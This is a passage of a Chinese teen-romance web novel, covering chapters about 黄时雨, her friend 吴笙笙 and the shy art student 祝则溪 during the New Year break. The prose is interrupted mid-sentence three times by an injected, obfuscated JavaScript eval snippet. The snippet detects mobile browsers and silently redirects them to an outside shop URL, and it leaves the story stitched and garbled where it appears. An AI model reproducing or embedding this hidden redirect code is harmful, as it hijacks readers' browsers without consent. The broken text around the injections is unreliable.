黄时雨主动提出跟她一起回去看看情况,万一需要搭把手什么的两个人也方便,吴笙笙却一再回绝,转身跑了起来。 吴笙笙是个特别要强的人,不愿意让别人看到自己脆弱的一面,黄时雨跟她认识了这么多年,从来没有见过她哭。既然她不愿意自己帮忙,黄时雨也不好一直坚持,只能在心里默默祈祷吴笙笙不会遇到什么大麻烦。 实践证明,吃火锅,边吃边聊真的可以吃很久。 聚餐结束,已经八点多了。 黄时雨走到门口,虽然时间还早,但月亮早已悄悄爬上夜幕。没有人同行的黄时雨,正拿着手机犹豫要不要让妈妈来接。 “仙女姐姐,你是自己回去,还是有家长来接你呀?”罗亦芃不知道什么时候蹦到了黄时雨面前,拿着个车钥匙在手上转来转去。 黄时雨正在发神,懵懵地张嘴—— “啊?” “你啊什么啊,我是说,需不需要我送你,正好我骑了车。” 罗亦芃微微俯下身,把车钥匙在黄时雨面前晃了晃。 清脆的钥匙碰撞声把黄时雨的思绪拉了回来。 黄时雨知道罗亦芃家住在自己的反方向,要是还要让他送的话,不知道他要什么时候才能回去,实在是不想欠他人情,“不用,我让我妈妈来接我了。” 罗亦芃比了一个“OK”的手势,骑上车就走了。 黄时雨目送他离开,思来想去,最后决定还是自己走路去骑自行车算了。 刚走没两步,黄时雨就听到有人在后面叫自己的名字。 “黄时雨,你一个人回家吗?”祝则溪快跑了两步,站到黄时雨身边。 黄时雨点点头,告诉他自己要去吴笙笙家楼下骑车回去。 “那……那我能跟你一起走吗,正好顺路。” 黄时雨转头,正好对上祝则溪渴望的眼神。她假装犹豫了一下,然后点头应允。 原来他也住吴笙笙家那边啊,黄时雨默默记住了这条重要信息。 就这样,黄时雨和祝则溪并肩走在回家的街道上,夜晚的风格外凉,坚持“敞开衣服更好看”主义的黄时雨还是不得不把外套扣了起来。 街道上人还真不少,到处张灯结彩,树上吊着一串串花灯,“凤箫声动,玉壶光转,一夜鱼龙舞”大概就是这样的场景。在万家团圆的时刻,像这两位这样非亲非故却走在一起的人还真是不多见。 这还是两个人第一次独处沉默这么长时间,经过一个个路灯,把两人的身影拉长又缩短。黄时雨基本不敢抬头,怕自己好不容易压下的嘴角不经意间又翘了起来,一个外向的人硬生生被逼成了一字不说的胆小鬼。 可是这样会不会不太好啊,黄时雨抿了抿嘴唇,开始思考对策。 奇怪的是,另一位也没有要说话的意思。 走了快一半路程的时候,黄时雨还是没忍住先开了口:“祝则溪,你今天为什么迟到啊?” 怕祝则溪误会,黄时雨又赶紧补充。 “那个……我就随便问问,不方便回答就算了,没关系。” “没有不方便,是因为我赶的火车晚点了。” “赶火车?!你出去旅游了吗?” 黄时雨突然抬起头,眼睛里是藏不住的惊讶。 祝则溪忍不住笑了,他摇摇头—— “不是旅游啦,是去参加美术寒假班,因为我们美术生大概六七月份就要集训了,一直要持续到明年的二三月,所以我打算寒假的时候先学一点。” “所以你今天专门抽空回来,就是为了在满城吃一顿火锅吗?” 黄时雨觉得他还挺可爱的,虽然自己能理解“民以食为天”,但是为了吃饭这么大费周章的行为还是挺少见的。 “也算是吧,但还有其他事情,”祝则溪的声音越说越小,耳朵肉眼可见地迅速变红。 虽然黄时雨已经很集中注意力了,但最后几个字还是没听清,反复思考了半天,也没猜出来祝则溪到底说了句什么。 这段聊天像是这段路程中的小插曲,前后的沉默状态一点没变。 “那我能问你一个问题吗?”祝则溪轻轻开口。 “可以呀,”黄时雨欣然同意。 “你跟罗亦芃很熟吗?” “还行吧,因为我们俩初中在同一个奥数班,他有什么不懂的会经常问我,现在我俩因为都是班长,也会经常有接触,所以关系还不错。” 黄时雨也不知道为什么,莫名其妙就一股脑儿把自己跟罗亦芃的事情全部坦白了。 但短暂的停顿之后,却意外发现祝则溪并没有接话,于是黄时雨立刻停下脚步,面向祝则溪,注视着他的眼睛,头脑一热,郑重地补 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619080|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上一句:“但是我不喜欢他的,就是普通朋友。” 完蛋,嘴又比脑子快了。 我为什么要说这句话啊,我为什么要跟祝则溪解释我不喜欢他啊,到底跟他有什么关系啊?! 黄时雨绝望地闭上眼,恨不得把说出这句话的自己怒扇十个巴掌。 祝则溪愣了一下,但很快就被黄时雨这句奇奇怪怪的补充逗笑了,他无意识攥紧书包带的手指也微微松开,像是身上紧绷的弦终于放松下来。 他的声音像是浸了蜜又掺了沙,既雀跃又涩然—— “好,我知道了。” 祝则溪直勾勾地盯着黄时雨,言语中还带着笑意。黄时雨低头默默整理衣服,然后冲祝则溪尴尬一笑。 经过一个十字路口,天边的满月在水泥高楼的夹缝中终于露面,皎洁的月光洒满大地,让热闹的过年氛围笼罩上一层柔和、宁静的气息。 “你能等我一下吗,我想拍月亮。” “好。” 祝则溪没有站在原地,而是往前跑了好几步才打开手机。 不愧是美术生,拍照都得选择最佳角度,黄时雨在心里默默感叹。 但她不知道的是,此时的祝则溪手里正紧紧握着手机,心跳如擂鼓般急促,悄悄回头看了好几眼,确定黄时雨没有注意自己,才故作镇定地打开了手机的前置摄像头,缓慢地把手机挪到左边。 他假装调整角度,实则将镜头对准了两人。一歪头,就和黄时雨进入了同一画面中。 就在黄时雨放下手机,望向月亮的那一瞬间,祝则溪迅速按下快门,画面定格。 镜头里,黄时雨微微仰头,在月光的照耀下显得格外柔和,而祝则溪在离她大约五米的地方隔着屏幕偷偷看向她,眼神里是藏不住的温柔和悸动。 拍完后,祝则溪慌忙切换回后置摄像头,快速拍了几张月亮的照片。 走到吴笙笙小区门口,黄时雨就和祝则溪道了别。 在吴笙笙家楼下,黄时雨抬头,发现家里没有亮灯,她心里隐隐有种不好的预感,赶紧掏出手机给吴笙笙打电话。 电话接通,对面传来医院的嘈杂声。 “笙笙,你是在医院吗,你弟弟什么情况?” 黄时雨的语速跟她的心情一样又急切又焦虑。 “他发高烧,有点严重,医生说要打点滴,留院观察。” “那你呢,你晚上就留在医院陪他吗?需要我帮忙吗?” “等他情况稳定了我就回来,你不用来,没多大事儿。” 吴笙笙好像挺忙的,没说几句话就挂了。 黄时雨连最基本的在哪家医院、哪个病房都没问到,干着急也不是事儿,只好骑上车,一路朝家的方向飞驰。 明天还是去医院看看吴笙笙吧,黄时雨暗下决心。 11. 第十一次招惹 寒假期间,妈妈同意黄时雨早上睡到七点的请求,但该死的生物钟还是太强大了,勉强从六点二十赖到六点四十,黄时雨还是从床上坐了起来。 谁家在熏腊肉,黄时雨猛吸了几口,一股肉香从外面飘进卧室,勾得人馋虫直叫。 起床第一件事:问吴笙笙的情况。 “笙笙,你们在哪家医院,我吃完早饭就过来看看你啊,”黄时雨发完微信就去洗漱,回来发现吴笙笙基本是秒回的。 “市一医院,301病房,谢谢你苗苗。” 黄时雨去厨房跟正在做早餐的爸爸说明情况,自己不在家吃早饭了。 “你路上小心啊,这两天车多。还有就是笙笙如果愿意的话,你邀请她和她弟弟中午过我们家来吃饭啊。” “好嘞!” 天刚蒙蒙亮,整条街的早餐铺子已经热气腾腾地醒了过来。 满城的小吃是出了名得多,什么牛肉米粉、牛肉面、羊杂面、油茶、锅盔等都是满城人早餐的不二之选。 蒸笼摞得比小孩还高的包子铺最先冒出白烟,老板用铁夹“啪啪”拍开笼屉,肉香混着面香轰地炸开,烫得排队的老婆婆直往后仰。 隔壁粥铺外,炸油条的油锅正咕噜冒泡,刘阿姨正用长筷子翻动金黄的油条,油星子溅到案板上晾着的芝麻团,那表面上的芝麻便噼里啪啦跳了几下。 “苗苗,吃早饭没啊?” 刘阿姨看到黄时雨经过,热情地抬头打招呼。 “刘阿姨,今天没空吃了,我有点重要的事!” 黄时雨快速从粥铺跑过去,一直到便利店,黄时雨才停下脚步。 店里正放着刘德华的《恭喜发财》,黄时雨走进去,拿了三个肉松面包。 独自去市一医院对黄时雨来说还是太陌生了,偏偏这医院又大,黄时雨在里面绕了好几圈,才找到上住院部三楼的正确电梯。 这一层很安静,和楼下此起彼伏的喧闹声仿佛两个世界。 301房间的门是虚掩着的。 黄时雨敲了敲门,等了几秒钟,见里面没有回应,便轻轻推开门走了进去。 这是一个双人病房,但目前只住了靠窗的那个床位。 窗帘被人拉开了一条缝,刚好把房间分割成明暗两边。吴笙笙正趴在病床旁边,眉头微微蹙起,大概是姿势不太舒服,她看起来睡得并不踏实。 可能是感觉到有人推门进来,吴笙笙迷迷糊糊抬起头,正好和黄时雨的视线交织在一起。 “笙笙,你昨天晚上肯定没睡好吧,医院吵吵闹闹的,要不你现在睡会儿,”黄时雨在吴笙笙身边蹲下,轻轻拍了拍她的背。 她又看了一眼病床上的那位,压低声音,从包里拿出刚买的肉松面包,“这两个面包你想吃就吃吧,我给你放桌子上。” 吴笙笙轻轻点头,眼神中透露出整宿未眠的疲惫感。 “谢谢你,苗苗。” 黄时雨趴在吴笙笙身边,指了指还在睡梦中的弟弟,小声问道:“这人昨天没为难你吧?” “没有,昨天很正常,”吴笙笙在疲惫中强行挤出一个微笑。 跟吴笙笙简单交流了几句,黄时雨让她趴着再休息会儿,自己则站起来去看输液瓶的流动情况。 瓶子里的液体已经快流完了,黄时雨刚准备按床头铃呼叫护士时,查房护士就带着病历本和相应的医疗器械走了进来。 “吴致远,”护士姐姐这一声彻底叫醒了姐弟二人,这也是黄时雨第一次听到吴笙笙弟弟的名字。 吴致远…… 吴笙笙…… 黄时雨只能在心里默默叹气。 护士问了问吴致远的整体情况,又重新给他测了体温,确定没有什么问题了,才让吴笙笙去办理出院手续。 “笙笙,吴致远,你俩中午去我家吃饭吧,现在回去做饭也赶不上了,怎么样?” 吴笙笙急忙摆手,“不用了苗苗,我们回去随便吃点什么都行。” 吴致远完全无视姐姐的示意,低着头,闷不吭声,也不知道是愿意还是不愿意。 黄时雨实在受不了姐弟俩在那儿磨磨蹭蹭,强行拖着两人去自己家—— “跟我还客气什么,去就对了!” 钥匙在锁里快速转动,黄时雨轻轻一拉,一阵饭菜的香味就从房间里弥漫出来,让人无法忽视—— “爸,妈,回来啦!” “笙笙和弟弟来啦,快进来,”黄妈妈早就给他俩准备好了拖鞋,“把这儿当自己家一样啊,去洗个手准备吃饭了,苗苗她爸做饭可好吃啦,你们一定要好好尝尝。” 黄爸爸也从厨房探出头来,“随便坐啊,笙笙和弟弟,饭马上就好!” 吴笙笙礼貌地打招呼:“阿姨好,叔叔好,给你们添麻烦了。” 吴笙笙已经不是第一次来黄时雨家了,但还没尝过黄爸爸的手艺。由于自己做饭主打一个简便快速,所以花大量时间做一大桌子菜的情况几乎是没有的。这顿饭,对这对姐弟来说有着“久旱逢甘霖”的特殊意义。 饭桌上,热气腾腾的菜肴散发着诱人的香气,碗筷碰撞的声音夹杂着断断续续的谈话声,黄爸黄妈热情地让这姐弟俩多夹菜吃,吴笙笙边吃边表示感谢,而吴致远只顾低头扒饭,头也不抬,连一个感谢的眼神都没有。 “你现在感觉怎么样了,还有哪里不舒服没有?”黄爸爸伸手摸了一下吴致远的额头,“最近感冒发烧的人多得很,快过年了,一定要注意防范啊。” 吴致远依然视若无睹,就像完全没听见一样,筷子在碗里轻轻搅动,却始终一言不发。 吴笙笙用胳膊撞了一下吴致远,提醒他回答,但吴致远只是睫毛微微抖动了一下,连头都不抬。 吴笙笙赶紧微笑着接过话头,她知道吴致远从来只会窝里横。“叔叔,他现在没什么问题了,烧也退了,医生说这段时间多休息就行,”吴笙笙用余光瞥了一眼吴致远,发现他完全没有要交谈的意思,只是自顾自地把各种肉和菜一股脑塞进嘴里。 黄时雨忍不住撇撇嘴,叹了口气。明明都是一个家里的孩子,差距真的太大了。 临走时,虽然吴笙笙再三拒绝,说两个人吃不了那么多,但还是抵挡不了黄爸黄妈的热情。凡是能打包带走的食物,都准备让吴笙笙拿走。 “把这个给你打包啊。” “还有这些,都没怎么动,回去热热就能吃。” “厨房还有些,也一起拿上。” …… 吴笙笙去了趟洗手间的工夫,餐桌上已经装满了两个大口袋,什么腊肉、凉拌牛肉、香酥鸡、酥肉,甚至还有切好的排骨、牛肉丝,都整整齐齐装在各自的打包盒里,等待吴笙笙这个新主人的认领。 “叔叔阿姨,真不用拿了,我们就两个人,吃不了那么多的”,吴笙笙赶紧上前制止,毕竟她实在是不好意思带这么多食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我今天早上问你们班主任赵老师,我才知道你这次考得这么不好,中午吴笙笙在这里,我也不好说,”黄妈妈擦干手,和黄时雨在沙发上坐下,“妈妈也不是要批评你,而是想借这个成绩给你提个醒,高二这一年上课速度很快,要给高三留出足够的复习时间,所以对于薄弱的地方,你要多花一些时间,明白吗?” 黄时雨抬头时正对上妈妈盛满期望的眼神,不由地郑重地点点头。 “妈妈,我知道了,这个寒假我多花点时间,把我不擅长的数学和化学多温习几遍。” “好,”妈妈没有继续讨论这次的成绩下滑,而是将立刻顺着黄时雨的想法提出合理的补救计划。 “这个寒假我每天六点四十叫你起床,上午学四个小时,下午学三个小时,晚上学两个小时,每周六和初一到初五可以自己安排,放松一下,这个计划可以吗?” 黄时雨立刻点头表示同意,钻进书房,开始执行这个“苦读计划”。 第一天晚上,黄时雨拉开窗帘,对面那个男生房间没有亮灯;第二天,第三天,依然没有亮灯。 他怎么没有学习啊,还是说他不在这里过年,黄时雨想不明白。 “原本还想着能有个学习搭子的,这下好了,真成孤军奋战了,”黄时雨忍不住边做计划边自言自语。 12. 第十二次招惹 第四天晚上,情况突然有了转机。 对面那个房间的灯久违地亮了起来,那个男生又坐在了书桌前。 黄时雨忍不住凑到窗户上看。 不过,他好像……不是在学习,而是在剪什么东西。 那个男生仿佛知道对面窗户有人在看他一样,故意把剪刀和纸片拿得很高,但隔着一层窗纱,黄时雨就算拼命睁大眼睛,也还是只能看到一个模模糊糊的轮廓。 他动作很快,剪刀在他手上上下翻飞,似乎每一刀每一剪都倾注了他的心思。 直到他站起来,拉开窗纱,小心翼翼地把剪好的成果放在窗户上左右调整角度,黄时雨才反应过来—— 原来他在剪窗花。 男生把双面胶贴在干净的玻璃上,再把窗花慢慢黏上去,轻轻压下窗花的边缘,像是对待某种珍贵的宝物。 黄时雨手中的笔突然顺着指尖滑落,落到地面上发出“砰”的声响。 她望着男生笨拙又认真的样子,嘴角无意识上扬。 两扇窗户映出相似的年轻脸庞,却照着截然不同的生活轨迹—— 他的窗花正在夜色里舒展,她的学习进程才刚刚开始。 黄时雨抬起手,朝对面男生竖了一个大拇指,眼神里满是鼓励和赞赏。 男生似乎注意到了她,贴窗花的动作顿了一下,随即也朝她竖了一个大拇指。 这是他们第一次无声地交流。 两个互不认识的高中生,就这样定格在各自的生活切片里。 黄时雨拿出手机,想放大看看窗花是什么样的。但这手机像素实在太差了,就算拉到最大倍率,也是糊成一团。 “算了算了,还是学习吧,”黄时雨把窗帘拉上,从书包里拿出化学作业,准备通过写卷子查漏补缺。 怪不得说化学是黄时雨的薄弱学科呢,磕磕绊绊写到第二个大题就卡住了。 “当监测或观察到________现象时,可证明该气体制备完成。” 磨蹭了五分钟,实在想不出来,黄时雨决定打电话向吴笙笙求助。 电话很快接通—— “笙笙,你写第六张化学卷子了吗,第二道大题的第三小问怎么做,怎么证明啊?” “第六张卷子?!你写这么快的嘛,我都还没写到那去”,黄时雨能明显感觉到对面的震惊,“等一下啊,我找出来帮你看看。” 电话那头传来窸窸窣窣的声音。 “哎呀,你也知道,我期末考试考得太差了嘛,我妈给我制定了严格的学习计划,每天至少九个小时的学习时间。” …… “笙笙?” “笙笙?” “你还在听吗?” “说话啊,你在干嘛?” “这题不难啊,我简单跟你说一下你就懂了”,不到两分钟,吴笙笙就做出了这道题,黄时雨只能默默表示佩服。 “你看,化学式题目中已经给出来了,而这个现象又必须是肉眼可见的,所以C和D就不能选,同时,制备的气体是有色无味的,又溶于水,所以溶液颜色发生变化或者是烧瓶内出现一定量的黄色气体都是制备完成的标志,A和B都没有问题。” “还得是你啊,吴笙笙,”黄时雨边听边把解题思路写在题目旁边,“这下我明白了,我得赶紧做完这套卷子去休息,拜拜爱你!” 说的是写完这套卷子就休息,实际上磨磨蹭蹭写完就快11点了,爸爸妈妈都已经睡了。黄时雨拉开窗帘,发现对面那盏灯还亮着,那个男生也在伏案学习。 “拜拜,晚安,”黄时雨打开窗户,趴在窗台上,冲对面挥手说再见。 那个男生好像有心灵感应一样,立刻放下笔,抬起头,回应了一个拜拜的手势。 “每天两眼一睁就是学习”这句话在黄时雨的寒假生活里也完美契合。 黄时雨每天以书为伴,以试卷为友,甚至忍痛推掉了好几个好朋友的逛街邀请,在家跟这些知识战斗。伴随着这种学习强度,还没到过年,作业居然都要见底了。 “苗苗,你帮妈妈去超市买点东西呗,下午我们要去你大姑家。” 黄时雨立刻从椅子上弹起来,毕竟已经好几天没出门了,这种机会不得牢牢抓住,“妈妈,要买啥呀,我现在就去。” “买点新鲜的水果吧,多买几个种类,买的时候记得挑一挑,别买到坏的了啊。” “好!” 这一声“好”字,随着黄时雨的关门声,一半被留在屋内,一半融入了门外浓浓的新年氛围中。 超市仿佛被泼了一缸滚烫的朱砂,入口处的红灯笼在头顶挤挤挨挨地摇晃,广播里循环播放着刘德华的《恭喜发财》,男女老少的交谈声混杂在一起,黄时雨费了九牛二虎之力才通过熙熙攘攘的人群勉强挤到了水果区。 超市水果区的灯光格外明亮,一格一格摆放整齐的水果在灯光的映照下显得娇嫩可口。 黄时雨刚要伸手去拿塑料袋时,发现前面有一个高高瘦瘦的男生也在挑水果,他比周围人高出许多,黄时雨一下就注意到了。 这不是…祝则溪吗? 他穿着第一次合唱排练的那件衣服,戴着白色口罩。虽然是很普通的搭配,但穿在他身上,偏偏有一种说不出的魅力。 “帅哥,你也来买水果呀?”黄时雨的声音从背后传来,还没等祝则溪回头,一只纤细的手就从他的身侧穿过,直接抓走了他掌心里的那颗车厘子。 祝则溪低头撞上扎着蓬松丸子头的黄时雨的笑容,又惊又喜,“你也来买车厘子?” 黄时雨点点头,但很快又忍不住叹气,摩挲着刚刚从祝则溪手上抢走的那颗车厘子仔细辨别—— “所以这种水果到底该怎么挑啊,我每次买回去都被我妈说像在开盲盒。” 祝则溪忍不住笑,“你妈妈还挺幽默的嘛。” 黄时雨自己也觉得有点难为情,从旁边扯了一个塑料袋,打开等待新鲜果实的入住。 “请小祝老师不吝赐教!” 他从口袋里拿出一颗车厘子,清了清嗓子,摆出一种老师的气质,“凭小祝老师的经验,你看,一般颜色深红的,大小适中,表皮发亮的车厘子就比较甜,那种表皮发皱的、特别软的就不要买了,可能已经坏了。” “好,我懂了,”黄时雨跟祝则溪交换了位置,打开口袋,自信满满地说,“祝老师要不验收一下学习成果吧。” “好!” 超市的灯光温暖而明媚,黄时雨低头挑选水果,脖子后面的碎发随意垂落在肩上。祝则溪的目光总是不自觉地飘向她,却又在她抬头时慌忙移开,假装专注地盯着她手上挑选的动作。 有了祝则溪的帮助,黄时雨挑选水果的进程特别顺利,她买了车厘子、砂糖橘和苹果,虽然每样都买的不多,但是三样加在一起还挺有分量的,走亲戚送礼应该足够了。 过年期间,五个收银台全部开放,但每个收银台前的队伍还是排得很长很长,推车铁筐相撞的脆响混着小孩跑来跑去发出的尖叫声,此起彼伏。 黄时雨和祝则溪随着人群慢慢往前龟速挪动。 “您好,请问哪位付款呢?”收银员可能没注意,不小心把黄时雨和祝则溪买的水果放到一起扫了。 就当是请同学了,黄时雨并不介意。 “我来!” 黄时雨和祝则溪同时举手,两个人争先恐后开始掏钱包。 黄妈妈怕黄时雨把钱弄丢了,硬是放到了挎包的夹层里。等黄时雨一顿操作,终于从包里掏出钱时,祝则溪已经从衣服兜里拿出钱付完了。 什么,我现在真的好像在故意逃单啊,明明我买的水果更多! 黄时雨忍不住在心里把自己骂了一通。 “哎呀,这怎么好意思啊,我这水果94块诶。” 祝则溪把两个人买的水果都拎起来,压低声音,但听起来又那么真真切切—— “没事,我愿意的。” “我愿意的!”这四个字轻得像羽毛坠落,轻轻挠了一下黄时雨的心。 她的心怦怦的,跳得剧烈,甚至突然不知道手该往哪里摆了。黄时雨的脑子里瞬间炸开无数个念头:他为什么这么说?是我想的那个意思吗?还是只是单纯客气? 祝则溪拎着几个大袋子在前面走,却发现她没有跟上来。 他又往回退了几步,伸手在正在发神的黄时雨眼前晃了晃。 “回神啦,”祝则溪露出一副被懵懵状态下的黄时雨可爱到的表情。 黄时雨回神后眨眨眼,脸上还残留着还未退却的少女的羞涩红晕。 “你等我一下,我去趟洗手间。” 不等祝则溪反应,黄时雨就匆忙往洗手间的方向跑去。 在洗手台前,黄时雨连做了五个深呼吸。 “朋友而已!朋友而已!朋友而已!”黄时雨在心里一遍一遍给自己洗脑。 不就是说“愿意”吗,那我对吴笙笙也可以说“愿意”啊,愿意帮她跑腿,愿意帮她买教辅呢。 一通乱七八糟的自我安慰后,心率终于降了下来。黄时雨摸了摸挎包,确定里面有妈妈之前去参加婚礼忘拿出来的笔和红包,将一张崭新的100块放进去,准备一会偷偷塞到祝则溪的水果袋里。 占别人便宜,还真不是黄时雨的一贯作风。 “要不,我来拿这个车厘子吧,全部让你拿我有点不好意思啦。” 祝则溪忍不住笑,把装车厘子的小袋子递给她,“给。” 两人并肩走在回家路上,黄时雨忍不住向祝则溪倾诉寒假期间自己的“魔鬼生活”。 “我期末 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“对,我们之前办黑板报认识的,”祝则溪回复道。 “啊对,不过……现在才十点半诶,你去找朋友玩不应该这么早就要走了吧,”黄时雨挑了挑眉,看破也说破罗亦芃的谎言。 不得不说,黄时雨还是太了解罗亦芃了,这位刚刚正跟朋友在街上闲逛,看到黄时雨在前面提着水果袋,抛下朋友就追上来了。 “哎你不管嘛,我送你回去吧,我有车。” “可是……”黄时雨转过头看着祝则溪,想了想还是拒绝了,“不用了,我跟祝则溪一起走回去吧。” “你坐他的车吧,没关系,我自己走回去就行,”祝则溪打断了黄时雨的拒绝,抿着嘴,把想说的话都咽了下去,又笑着补充道,“注意安全。” 黄时雨也不好再多说什么,将他叮嘱自己的话又送还给他,“嗯,你也注意安全。” 街道上人来人往,每个人眼底都跳动着属于农历年末特有的甜蜜,可祝则溪心里却突然变得空落落的,或许他本来能拥有更多跟黄时雨相处的机会,但就在刚刚,被他亲手放弃了。 祝则溪又回到了那个空无一人的家,这将是他独自度过的第五个新年。 祝则溪甚至觉得,这样的生活也挺好的,一个人自由自在,也没人打扰。他就像一个断了线的风筝,游离于世界之外,任何幸福、快乐、圆满都与他无关。 祝则溪打开水果袋,一个红包正静静地躺在最上面。这还是除了小姨祝桂以外,第一次有人给祝则溪发红包。 他愣了一下,疑惑地地拆开,里面是一张崭新的百元钞票,一点折痕都没有。 红包背面有字:小祝同学,祝你新年快乐,六六大顺! 字迹清秀,像是黄时雨一贯的风格。 祝则溪拿着红包,在手里反复摩挲着,好像在感受她书写时落下的温度,因为这种感觉,对祝则溪来说,太久违了。 他鼻子一酸,仰起头,尽力控制住自己快要流泪的冲动。 他没想到,今年还能像小孩一样收到红包。更没想到,这个红包会来自黄时雨。 他把红包重新封好,走到卧室,小心翼翼地放到了床头柜的第二个抽屉里。 抽屉里整整齐齐地摞着一叠素描纸,每一张上面都描绘着黄时雨的模样——在校门口等爸爸来接的黄时雨、在演讲比赛上侃侃而谈的黄时雨、在办公室帮老师统分的黄时雨、在操场上做操的黄时雨…… 还有办黑板报的她、在新年晚会上表演的她、小年聚餐时的她…… 这些年他习惯了默默注视,偷偷记录下关于黄时雨的点点滴滴,以旁观者的身份。她明媚耀眼,像热情似火的小太阳,可他却没有勇气,像一个胆小鬼,只敢在一笔一画里描绘感情。 “我幻想过你的每一种未来,可独独没有想过我们在一起的样子。” 祝则溪将红包轻轻放在素描纸上,旁边还放着新年晚会时的第一张拍立得合影。 他的指尖在“新年快乐”那几个字上停留了片刻,像是多年暗恋的种子终于破土而出。这些从未宣之于口的喜欢,好像在此刻收到了一点点回响。 13. 第十三次招惹 除了齐章年,没有第二个人知道祝则溪的家庭情况。 祝则溪曾经叫胡则溪,由于母亲祝栀死于难产,他从出生就是一个没有妈妈的孩子。父亲胡正福是满城一家投资公司的大老板,妈妈去世还不到一年就娶了续弦,有了新儿子。 从此,祝则溪开始和小姨祝桂一起生活。 对外,胡正福只承认自己有一个相伴相守的妻子和一个乖巧懂事的儿子。靠这个爱妻爱子的人设,胡正福在生意场上混得风生水起。 祝则溪10岁那年,胡正福的公司出现资金断裂等问题,一度濒临破产。 不知道他去哪里找了个风水大师,算出来要找一个10-12岁的小孩,每个月拿2000块钱直到小孩长大成人,就可以保佑公司避开灾祸,顺风顺水。 而祝则溪就成了那个被选中的孩子。 截至目前,这笔“玄学打款”还在按月输送资金。 小学毕业那个暑假,祝则溪申请改姓成功,离胡正福儿子这个见不得人的身份又远了一步。 不知道是不是快到新年的缘故,这几天祝则溪躺在床上,总是会不由自主地想起许多小时候的事—— 在田埂上跟小伙伴跳房子,在池塘里捉泥鳅偷偷塞到小姨衣服帽子里,在山坡上挖折耳根差点割到手,学着大人们的样子在井边打水却一直打不起来…… 人们都说孩子越长越大,会对小时候的记忆越来越模糊。可是祝则溪好像不是这样,越清晰的儿时记忆,越会让祝则溪觉得自己再也配不上那样无忧无虑的生活了。 每次等他反应过来,眼泪已经浸湿了半个枕头。 所有的这些变化,都要追溯到初一那年。 那时小姨祝桂还住在这里,负责照顾祝则溪的饮食起居。 祝则溪在房间写作业,小姨在厨房准备晚餐。 突然小姨的电话在客厅响起,祝则溪立刻起身,“哒哒哒”地跑到客厅拿起手机,又“哒哒哒”地跑到厨房把手机交给小姨。 “小姨,有电话!” 小姨伸手摸了摸祝则溪的头,拿过手机—— “喂,你好,我是祝桂,”不知道对面说了什么,小姨打电话的语调一下子雀跃起来,“面试成功了是吗,好的好的,明天我就来报到,谢谢谢谢。” 小姨半年前被原工作单位辞退了,理由是不能配合部门工作,早退次数过多。 可祝则溪心里明白,是自己当了那个拖油瓶,要不是为了照顾自己,小姨根本不会无缘无故丢掉工作。 这个电话的到来让祝则溪也在心里暗暗替小姨高兴,这份新工作一定更适合小姨。 “工作地点在东部创意园?可是之前面试不是说在总部这边工作吗,”小姨似乎还想问什么,对面并没有给她时间,“好的,我知道了,谢谢。” 祝则溪看小姨挂了电话,立刻焦急地扑到小姨怀里。 “小姨,我已经可以自己生活了,以后周内我就在学校吃饭,周末我就自己做,”祝则溪轻轻拉了拉小姨的外套,仰起头郑重地看着她,“我知道你已经找到了一个更好的工作,我不想你每天因为我这么辛苦地跑来跑去……” 祝则溪的双眼噙满泪水,但语气却不容置疑,跟成年人一样。 小姨微微愣住,蹲下身一把抱住祝则溪,“小溪,小姨不累,这些都是可以想办法的,你不用担心,快回去写作业,乖。” 这些年为了照顾祝则溪,小姨找的工作都只能在这附近,工作时间也不能太长,每个月的工资基本只能勉强糊口;有好心的长辈或朋友给小姨介绍对象,也大都因为小姨带着个“拖油瓶”打了退堂鼓。 祝则溪很少这么近距离地观察小姨。她很漂亮,笑起来眉眼弯弯的,跟祝则溪看到的妈妈的照片特别像。小姨说话也很温柔,祝则溪从来没见过小姨发脾气,即使是在自己淘气犯错的时候,小姨也只是严肃地指出,以理服人。 祝则溪盯着小姨的眼睛,轻轻地点点头,转身回了自己的房间。 但转身的那一刻,祝则溪就已经下定决心,不能一辈子当小姨的累赘。 第二天早上,小姨起得比平时都早,给祝则溪准备好早餐后,就准备动身去上班。 因为是周日,所以没有叫祝则溪起床。 祝则溪听到动静后赶紧爬起来,偷偷躲在卧室门后,不敢发出任何一点动静。趁小姨转身去洗手间的时候,蹑手蹑脚地走到玄关处,把小姨放在包里的钥匙偷偷拿出来,藏了起来。 他把房间门小心翼翼地拉开一个缝,看着小姨从洗手间出来,换鞋,照镜子,拿手机……每一个动作都在书写着分别倒计时,祝则溪努力咬住下唇,不敢发出声音。 小姨在门口看了一眼手机,转身轻轻把门关上。 祝则溪靠着门慢慢滑到地上。 “对不起小姨,我……我也好想被人照顾,”祝则溪终于忍不住哭了出来,泪水顺着脸颊一路滑落到下巴,“但是我更不想你因为照顾我什么都失去了,求求小姨能原谅我……” 从此,一门之隔,祝则溪的童年时光戛然而止。 也许是太过痛苦的决定,祝则溪已经不太记得是怎么在门口狠心拒绝下班回家的小姨,又是怎么目送着带走所有生活用品的小姨…… 只是从此以后,祝则溪将自己彻底从小姨的生活中摘走了。 后来,小姨很快适应了新工作,有了家庭和孩子,祝则溪初中时还经常过去看她,高中时间越来越紧张,去小姨家的机会也就少了很多。 “咚咚咚。” 一阵有节奏的敲门声把祝则溪从回忆拉回了现实。 今天是大年三十,谁会来找祝则溪呢? “没想到吧祝则溪,我来陪你过除夕啦,”齐章年抱着一大袋各式各样的火锅食材站在门口,看见祝则溪吃惊的表情忍不住笑了出来,“你愣着干嘛,还不赶紧邀请我进去啊。” 